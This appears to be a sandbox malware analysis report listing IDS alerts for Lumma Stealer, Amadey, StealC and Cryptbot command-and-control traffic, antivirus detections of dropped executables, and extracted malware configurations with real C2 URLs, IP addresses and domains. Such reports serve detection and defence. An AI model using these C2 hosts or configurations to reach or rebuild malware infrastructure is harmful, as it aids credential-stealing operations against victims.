2024-12-18T15:58:56.255737+0100	2028371	3	Unknown Traffic	192.168.2.10	50178	172.67.179.109	443	TCP
2024-12-18T15:58:59.490779+0100	2028371	3	Unknown Traffic	192.168.2.10	50179	172.67.179.109	443	TCP
2024-12-18T15:58:59.842641+0100	2028371	3	Unknown Traffic	192.168.2.10	50182	172.67.179.109	443	TCP
2024-12-18T15:59:02.060598+0100	2028371	3	Unknown Traffic	192.168.2.10	50183	172.67.179.109	443	TCP
2024-12-18T15:59:03.621234+0100	2028371	3	Unknown Traffic	192.168.2.10	50185	172.67.179.109	443	TCP
2024-12-18T15:59:04.296104+0100	2028371	3	Unknown Traffic	192.168.2.10	50187	172.67.179.109	443	TCP
2024-12-18T15:59:05.891197+0100	2028371	3	Unknown Traffic	192.168.2.10	50188	172.67.179.109	443	TCP
2024-12-18T15:59:08.095206+0100	2028371	3	Unknown Traffic	192.168.2.10	50192	172.67.179.109	443	TCP
2024-12-18T15:59:08.247709+0100	2028371	3	Unknown Traffic	192.168.2.10	50193	172.67.179.109	443	TCP
2024-12-18T15:59:10.889055+0100	2028371	3	Unknown Traffic	192.168.2.10	50205	172.67.179.109	443	TCP
2024-12-18T15:59:13.029035+0100	2028371	3	Unknown Traffic	192.168.2.10	50222	172.67.179.109	443	TCP
2024-12-18T15:59:19.807532+0100	2028371	3	Unknown Traffic	192.168.2.10	50234	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:55:49.008618+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50235	172.67.179.109	443	TCP
2024-12-18T15:56:30.579086+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49797	172.67.179.109	443	TCP
2024-12-18T15:56:32.610401+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49805	172.67.179.109	443	TCP
2024-12-18T15:56:44.595132+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49839	172.67.179.109	443	TCP
2024-12-18T15:56:53.027057+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49863	172.67.179.109	443	TCP
2024-12-18T15:56:57.841527+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49876	172.67.179.109	443	TCP
2024-12-18T15:56:58.318037+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49875	172.67.179.109	443	TCP
2024-12-18T15:57:24.076280+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49972	104.21.12.88	443	TCP
2024-12-18T15:57:28.797895+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49979	104.21.12.88	443	TCP
2024-12-18T15:57:43.755603+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50048	172.67.179.109	443	TCP
2024-12-18T15:57:43.939467+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50045	172.67.179.109	443	TCP
2024-12-18T15:57:47.178187+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50057	172.67.179.109	443	TCP
2024-12-18T15:57:50.963918+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50072	104.21.23.76	443	TCP
2024-12-18T15:57:52.950988+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50080	104.21.23.76	443	TCP
2024-12-18T15:57:55.154034+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50087	104.21.12.88	443	TCP
2024-12-18T15:58:11.204142+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50141	172.67.179.109	443	TCP
2024-12-18T15:58:18.722137+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50144	104.21.23.76	443	TCP
2024-12-18T15:58:45.734441+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50164	172.67.179.109	443	TCP
2024-12-18T15:58:51.604149+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50170	172.67.179.109	443	TCP
2024-12-18T15:58:58.190094+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50177	172.67.179.109	443	TCP
2024-12-18T15:59:00.217699+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50179	172.67.179.109	443	TCP
2024-12-18T15:59:14.711987+0100	2054653	1	A Network Trojan was detected	192.168.2.10	50222	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:30.579086+0100	2049836	1	A Network Trojan was detected	192.168.2.10	49797	172.67.179.109	443	TCP
2024-12-18T15:56:44.595132+0100	2049836	1	A Network Trojan was detected	192.168.2.10	49839	172.67.179.109	443	TCP
2024-12-18T15:56:53.027057+0100	2049836	1	A Network Trojan was detected	192.168.2.10	49863	172.67.179.109	443	TCP
2024-12-18T15:57:24.076280+0100	2049836	1	A Network Trojan was detected	192.168.2.10	49972	104.21.12.88	443	TCP
2024-12-18T15:57:43.755603+0100	2049836	1	A Network Trojan was detected	192.168.2.10	50048	172.67.179.109	443	TCP
2024-12-18T15:57:50.963918+0100	2049836	1	A Network Trojan was detected	192.168.2.10	50072	104.21.23.76	443	TCP
2024-12-18T15:58:45.734441+0100	2049836	1	A Network Trojan was detected	192.168.2.10	50164	172.67.179.109	443	TCP
2024-12-18T15:58:58.190094+0100	2049836	1	A Network Trojan was detected	192.168.2.10	50177	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:32.610401+0100	2049812	1	A Network Trojan was detected	192.168.2.10	49805	172.67.179.109	443	TCP
2024-12-18T15:56:58.318037+0100	2049812	1	A Network Trojan was detected	192.168.2.10	49875	172.67.179.109	443	TCP
2024-12-18T15:57:28.797895+0100	2049812	1	A Network Trojan was detected	192.168.2.10	49979	104.21.12.88	443	TCP
2024-12-18T15:57:47.178187+0100	2049812	1	A Network Trojan was detected	192.168.2.10	50057	172.67.179.109	443	TCP
2024-12-18T15:57:52.950988+0100	2049812	1	A Network Trojan was detected	192.168.2.10	50080	104.21.23.76	443	TCP
2024-12-18T15:58:51.604149+0100	2049812	1	A Network Trojan was detected	192.168.2.10	50170	172.67.179.109	443	TCP
2024-12-18T15:59:00.217699+0100	2049812	1	A Network Trojan was detected	192.168.2.10	50179	172.67.179.109	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:55:48.437800+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50235	172.67.179.109	443	TCP
2024-12-18T15:56:29.549135+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49797	172.67.179.109	443	TCP
2024-12-18T15:56:31.889776+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49805	172.67.179.109	443	TCP
2024-12-18T15:56:34.408257+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49813	172.67.179.109	443	TCP
2024-12-18T15:56:37.107829+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49819	172.67.179.109	443	TCP
2024-12-18T15:56:39.735446+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49825	172.67.179.109	443	TCP
2024-12-18T15:56:43.281682+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49839	172.67.179.109	443	TCP
2024-12-18T15:56:44.549206+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49842	172.67.179.109	443	TCP
2024-12-18T15:56:45.843384+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49845	172.67.179.109	443	TCP
2024-12-18T15:56:48.827876+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49852	172.67.179.109	443	TCP
2024-12-18T15:56:51.991291+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49863	172.67.179.109	443	TCP
2024-12-18T15:56:54.289589+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49875	172.67.179.109	443	TCP
2024-12-18T15:56:54.289830+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49876	172.67.179.109	443	TCP
2024-12-18T15:57:01.148342+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49907	172.67.179.109	443	TCP
2024-12-18T15:57:05.858596+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49927	172.67.179.109	443	TCP
2024-12-18T15:57:12.079332+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49948	172.67.179.109	443	TCP
2024-12-18T15:57:23.526102+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	49976	172.67.179.109	443	TCP
2024-12-18T15:57:34.040297+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50002	172.67.179.109	443	TCP
2024-12-18T15:57:41.147850+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50045	172.67.179.109	443	TCP
2024-12-18T15:57:42.150786+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50048	172.67.179.109	443	TCP
2024-12-18T15:57:45.041595+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50057	172.67.179.109	443	TCP
2024-12-18T15:57:49.347814+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50071	172.67.179.109	443	TCP
2024-12-18T15:57:51.663685+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50079	172.67.179.109	443	TCP
2024-12-18T15:57:54.425184+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50086	172.67.179.109	443	TCP
2024-12-18T15:57:57.413813+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50096	172.67.179.109	443	TCP
2024-12-18T15:58:01.628172+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50107	172.67.179.109	443	TCP
2024-12-18T15:58:07.311005+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50141	172.67.179.109	443	TCP
2024-12-18T15:58:41.559504+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50164	172.67.179.109	443	TCP
2024-12-18T15:58:47.000456+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50170	172.67.179.109	443	TCP
2024-12-18T15:58:55.572582+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50177	172.67.179.109	443	TCP
2024-12-18T15:58:56.255737+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50178	172.67.179.109	443	TCP
2024-12-18T15:58:59.490779+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50179	172.67.179.109	443	TCP
2024-12-18T15:58:59.842641+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50182	172.67.179.109	443	TCP
2024-12-18T15:59:02.060598+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50183	172.67.179.109	443	TCP
2024-12-18T15:59:03.621234+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50185	172.67.179.109	443	TCP
2024-12-18T15:59:04.296104+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50187	172.67.179.109	443	TCP
2024-12-18T15:59:05.891197+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50188	172.67.179.109	443	TCP
2024-12-18T15:59:08.095206+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50192	172.67.179.109	443	TCP
2024-12-18T15:59:08.247709+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50193	172.67.179.109	443	TCP
2024-12-18T15:59:10.889055+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50205	172.67.179.109	443	TCP
2024-12-18T15:59:13.029035+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50222	172.67.179.109	443	TCP
2024-12-18T15:59:19.807532+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.10	50234	172.67.179.109	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:59.391551+0100	2019714	2	Potentially Bad Traffic	192.168.2.10	49901	185.215.113.16	80	TCP
2024-12-18T15:57:45.447963+0100	2019714	2	Potentially Bad Traffic	192.168.2.10	50058	185.215.113.16	80	TCP
2024-12-18T15:59:16.312141+0100	2019714	2	Potentially Bad Traffic	192.168.2.10	50231	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:21.886272+0100	2044696	1	A Network Trojan was detected	192.168.2.10	49776	185.215.113.43	80	TCP
2024-12-18T15:56:30.683213+0100	2044696	1	A Network Trojan was detected	192.168.2.10	49799	185.215.113.43	80	TCP
2024-12-18T15:56:40.900041+0100	2044696	1	A Network Trojan was detected	192.168.2.10	49830	185.215.113.43	80	TCP
2024-12-18T15:56:48.132150+0100	2044696	1	A Network Trojan was detected	192.168.2.10	49850	185.215.113.43	80	TCP
2024-12-18T15:56:56.531036+0100	2044696	1	A Network Trojan was detected	192.168.2.10	49885	185.215.113.43	80	TCP
2024-12-18T15:57:10.041993+0100	2044696	1	A Network Trojan was detected	192.168.2.10	49938	185.215.113.43	80	TCP
2024-12-18T15:57:20.797525+0100	2044696	1	A Network Trojan was detected	192.168.2.10	49968	185.215.113.43	80	TCP
2024-12-18T15:57:30.015088+0100	2044696	1	A Network Trojan was detected	192.168.2.10	49988	185.215.113.43	80	TCP
2024-12-18T15:57:37.494981+0100	2044696	1	A Network Trojan was detected	192.168.2.10	50023	185.215.113.43	80	TCP
2024-12-18T15:57:44.611659+0100	2044696	1	A Network Trojan was detected	192.168.2.10	50056	185.215.113.43	80	TCP
2024-12-18T15:58:17.313197+0100	2044696	1	A Network Trojan was detected	192.168.2.10	50145	185.215.113.43	80	TCP
2024-12-18T15:58:35.536627+0100	2044696	1	A Network Trojan was detected	192.168.2.10	50161	185.215.113.43	80	TCP
2024-12-18T15:58:41.499263+0100	2044696	1	A Network Trojan was detected	192.168.2.10	50163	185.215.113.43	80	TCP
2024-12-18T15:58:46.798786+0100	2044696	1	A Network Trojan was detected	192.168.2.10	50169	185.215.113.43	80	TCP
2024-12-18T15:58:53.433574+0100	2044696	1	A Network Trojan was detected	192.168.2.10	50174	185.215.113.43	80	TCP
2024-12-18T15:58:59.998359+0100	2044696	1	A Network Trojan was detected	192.168.2.10	50181	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:56.036617+0100	2054350	1	A Network Trojan was detected	192.168.2.10	49882	185.185.71.170	80	TCP
2024-12-18T15:56:59.221809+0100	2054350	1	A Network Trojan was detected	192.168.2.10	49899	185.185.71.170	80	TCP
2024-12-18T15:57:11.036545+0100	2054350	1	A Network Trojan was detected	192.168.2.10	49944	185.185.71.170	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:28.139639+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.10	62515	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:27.995091+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.10	58540	1.1.1.1	53	UDP
2024-12-18T15:56:41.852118+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.10	64125	1.1.1.1	53	UDP
2024-12-18T15:56:50.618105+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.10	59314	1.1.1.1	53	UDP
2024-12-18T15:57:40.737368+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.10	61710	1.1.1.1	53	UDP
2024-12-18T15:58:40.068466+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.10	64251	1.1.1.1	53	UDP
2024-12-18T15:58:53.891137+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.10	57940	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:35.403156+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.10	49813	172.67.179.109	443	TCP
2024-12-18T15:57:28.095523+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.10	49976	172.67.179.109	443	TCP
2024-12-18T15:57:47.951495+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.10	50065	104.21.12.88	443	TCP
2024-12-18T15:57:56.040182+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.10	50090	104.21.23.76	443	TCP
2024-12-18T15:57:58.212175+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.10	50096	172.67.179.109	443	TCP
2024-12-18T15:59:06.095509+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.10	50187	172.67.179.109	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:42.226700+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	49832	185.215.113.206	80	TCP
2024-12-18T15:57:03.463388+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	49916	185.215.113.206	80	TCP
2024-12-18T15:57:30.807513+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	49991	185.215.113.206	80	TCP
2024-12-18T15:57:40.263324+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	50040	185.215.113.206	80	TCP
2024-12-18T15:57:56.873916+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	50094	185.215.113.206	80	TCP
2024-12-18T15:58:46.672301+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	50168	185.215.113.206	80	TCP
2024-12-18T15:59:07.266979+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	50190	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:06.495764+0100	2856147	1	A Network Trojan was detected	192.168.2.10	49736	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:20.508428+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.10	49744	TCP
2024-12-18T15:58:34.173163+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.10	50149	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:10.940119+0100	2803305	3	Unknown Traffic	192.168.2.10	49749	31.41.244.11	80	TCP
2024-12-18T15:56:23.427838+0100	2803305	3	Unknown Traffic	192.168.2.10	49782	185.215.113.16	80	TCP
2024-12-18T15:56:32.180254+0100	2803305	3	Unknown Traffic	192.168.2.10	49806	185.215.113.16	80	TCP
2024-12-18T15:56:42.599210+0100	2803305	3	Unknown Traffic	192.168.2.10	49834	185.215.113.16	80	TCP
2024-12-18T15:56:49.592016+0100	2803305	3	Unknown Traffic	192.168.2.10	49856	185.215.113.16	80	TCP
2024-12-18T15:56:57.986025+0100	2803305	3	Unknown Traffic	192.168.2.10	49892	31.41.244.11	80	TCP
2024-12-18T15:57:11.531466+0100	2803305	3	Unknown Traffic	192.168.2.10	49945	31.41.244.11	80	TCP
2024-12-18T15:57:22.271962+0100	2803305	3	Unknown Traffic	192.168.2.10	49971	31.41.244.11	80	TCP
2024-12-18T15:57:31.701286+0100	2803305	3	Unknown Traffic	192.168.2.10	49992	31.41.244.11	80	TCP
2024-12-18T15:57:39.127754+0100	2803305	3	Unknown Traffic	192.168.2.10	50037	31.41.244.11	80	TCP
2024-12-18T15:57:46.116306+0100	2803305	3	Unknown Traffic	192.168.2.10	50061	31.41.244.11	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:56:48.832442+0100	2843864	1	A Network Trojan was detected	192.168.2.10	49852	172.67.179.109	443	TCP
2024-12-18T15:57:34.177818+0100	2843864	1	A Network Trojan was detected	192.168.2.10	50002	172.67.179.109	443	TCP
2024-12-18T15:57:50.540668+0100	2843864	1	A Network Trojan was detected	192.168.2.10	50073	104.21.12.88	443	TCP
2024-12-18T15:58:01.671372+0100	2843864	1	A Network Trojan was detected	192.168.2.10	50107	172.67.179.109	443	TCP
2024-12-18T15:58:14.833365+0100	2843864	1	A Network Trojan was detected	192.168.2.10	50142	104.21.23.76	443	TCP
2024-12-18T15:59:08.282526+0100	2843864	1	A Network Trojan was detected	192.168.2.10	50193	172.67.179.109	443	TCP
2024-12-18T15:59:25.791263+0100	2843864	1	A Network Trojan was detected	192.168.2.10	50234	172.67.179.109	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1016947001\8639af97b9.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016950001\741343eac3.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016946001\02a06b55a8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\6LLT7I405VVFPGR4K34JYO7L59M7E3.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\x0qQ2DH[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1329620
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1016948001\3ca19a76c8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016949001\093821f656.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1016945001\x0qQ2DH.exe	Avira: detection malicious, Label: HEUR/AGEN.1329620
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000001F.00000002.2123568208.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: bfa374134d.exe.7396.15.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["discokeyus.lat", "energyaffai.lat", "sweepyribs.lat", "sustainskelet.lat", "crosshuaht.lat", "necklacebudi.lat", "rapeflowwj.lat", "grannyejh.lat", "aspecteirs.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[2].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[3].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[3].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016943001\093ffd8e79.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1016944001\45ee3ccff8.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016942001\dca2c3185c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016947001\8639af97b9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016950001\741343eac3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016946001\02a06b55a8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6LLT7I405VVFPGR4K34JYO7L59M7E3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\x0qQ2DH[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016948001\3ca19a76c8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016949001\093821f656.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016945001\x0qQ2DH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
